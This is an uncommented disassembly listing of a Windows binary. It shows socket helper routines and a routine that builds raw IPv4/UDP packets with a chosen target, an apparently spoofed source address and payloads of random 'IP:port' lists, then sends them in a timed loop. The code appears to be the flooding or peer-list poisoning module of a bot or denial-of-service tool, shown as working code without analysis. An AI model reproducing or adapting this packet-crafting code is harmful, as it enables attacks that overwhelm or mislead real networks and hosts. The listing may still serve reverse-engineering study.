		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DE5C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: cAddress:004020A6p
					; cAddress:004024BDp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: cAddress:00401F94p
					; cAddress:004023BBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: cAddress:00403EC4p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; cAddress:00410676p ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp

; ---------------------------------------------------------------------------


loc_4055E5:				; DATA XREF: sub_405E45+113o
		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1334h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp-1078h], eax
		cmp	dword ptr [ebp-1078h], 0FFFFFFFFh
		jnz	short loc_405643
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: cAddress:0040562Ej
		mov	dword ptr [ebp-1340h], 1
		push	4
		lea	eax, [ebp-1340h]
		push	eax
		push	2
		push	0
		push	dword ptr [ebp-1078h]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: cAddress:00405669j
		push	0
		push	dword ptr [ebp-1078h]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		lea	eax, [ebp-108Dh]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-118Dh]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp-118Dh]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp-1344h], eax
		cmp	dword ptr [ebp-1344h], 0
		jnz	short loc_405700
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: cAddress:004056EBj
		mov	eax, [ebp-1344h]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-0Ch], eax


loc_405710:				; CODE XREF: cAddress:004056CFj
		cmp	dword ptr [ebp-0Ch], 0FFFFFFFFh
		jnz	short loc_405729
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: cAddress:00405714j
		push	1060h
		push	0
		lea	eax, [ebp-1074h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp-1074h]
		mov	[ebp-133Ch], eax
		lea	eax, [ebp-1058h]
		mov	[ebp-14h], eax
		mov	eax, [ebp-133Ch]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp-133Ch]
		mov	[ecx], al
		mov	eax, [ebp-133Ch]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp-133Ch]
		mov	[ecx], al
		mov	eax, [ebp-133Ch]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp-133Ch]
		mov	ecx, [ebp-0Ch]
		mov	[eax+10h], ecx
		mov	eax, [ebp-133Ch]
		mov	cx, [ebp-0Eh]
		mov	[eax+16h], cx
		and	dword ptr [ebp-1338h], 0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: cAddress:loc_405E22j
		mov	eax, [ebp-1338h]
		inc	eax
		mov	[ebp-1338h], eax


loc_4057B6:				; CODE XREF: cAddress:004057A7j
		mov	eax, [ebp-1338h]
		cmp	eax, [ebp-1087h]
		jge	loc_405E27
		mov	eax, [ebp-107Fh]
		mov	[ebp-1358h], eax
		cmp	dword ptr [ebp-1358h], 1
		jz	short loc_4057FC
		cmp	dword ptr [ebp-1358h], 2
		jz	loc_405924
		cmp	dword ptr [ebp-1358h], 3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: cAddress:004057DBj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: cAddress:004058A4j
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: cAddress:0040582Cj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: cAddress:004057E4j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: cAddress:004059B0j
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: cAddress:00405954j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: cAddress:004057F1j
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp-134Ch], eax
		cmp	dword ptr [ebp-134Ch], 0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU_0	; "%u"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: cAddress:00405A29j
		cmp	dword ptr [ebp-134Ch], 1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: cAddress:00405B07j
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: cAddress:00405A8Fj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: cAddress:00405A59j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: cAddress:00405C13j
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: cAddress:00405BB7j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-14h]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: cAddress:00405A4Dj
					; cAddress:00405B82j
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: cAddress:004057F7j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU_0	; "%u"
		push	dword ptr [ebp-14h]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: cAddress:0040591Fj
					; cAddress:00405A0Cj ...
		push	dword ptr [ebp-14h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-1354h], eax
		and	dword ptr [ebp-1350h], 0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: cAddress:00405CDEj
		mov	eax, [ebp-1350h]
		inc	eax
		mov	[ebp-1350h], eax


loc_405CB8:				; CODE XREF: cAddress:00405CA9j
		mov	eax, [ebp-1350h]
		cmp	eax, [ebp-1354h]
		jnb	short loc_405CE0
		mov	eax, [ebp-14h]
		add	eax, [ebp-1350h]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp-14h]
		add	ecx, [ebp-1350h]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: cAddress:00405CC4j
		mov	eax, [ebp-1354h]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp-133Ch]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp-133Ch]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp-133Ch]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF18
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp-133Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-1354h]
		add	eax, 14h
		push	eax
		push	dword ptr [ebp-133Ch]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp-133Ch]
		mov	[ecx+0Ah], ax
		movzx	eax, word ptr [ebp-0Eh]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp-133Ch]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: cAddress:00405D6Ej
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp-133Ch]
		mov	[ecx+14h], ax
		mov	eax, [ebp-1354h]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp-133Ch]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	0
		mov	eax, [ebp-1354h]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp-1074h]
		push	eax
		push	dword ptr [ebp-1078h]
		call	dword_417250	; sendto
		mov	[ebp-1348h], eax
		cmp	dword ptr [ebp-1348h], 0FFFFFFFFh
		jnz	short loc_405E08
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		push	dword ptr [ebp-1078h]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: cAddress:00405DEAj
		push	dword ptr [ebp-1083h]
		call	dword_41709C	; Sleep
		mov	eax, [ebp-1334h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: cAddress:00405E1Ej
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: cAddress:004057C2j
					; cAddress:00405E20j
		push	dword ptr [ebp-1078h]
		call	sub_4053B1
		pop	ecx
		push	dword ptr [ebp-1334h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: cAddress:0040563Ej
					; cAddress:00405679j ...
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
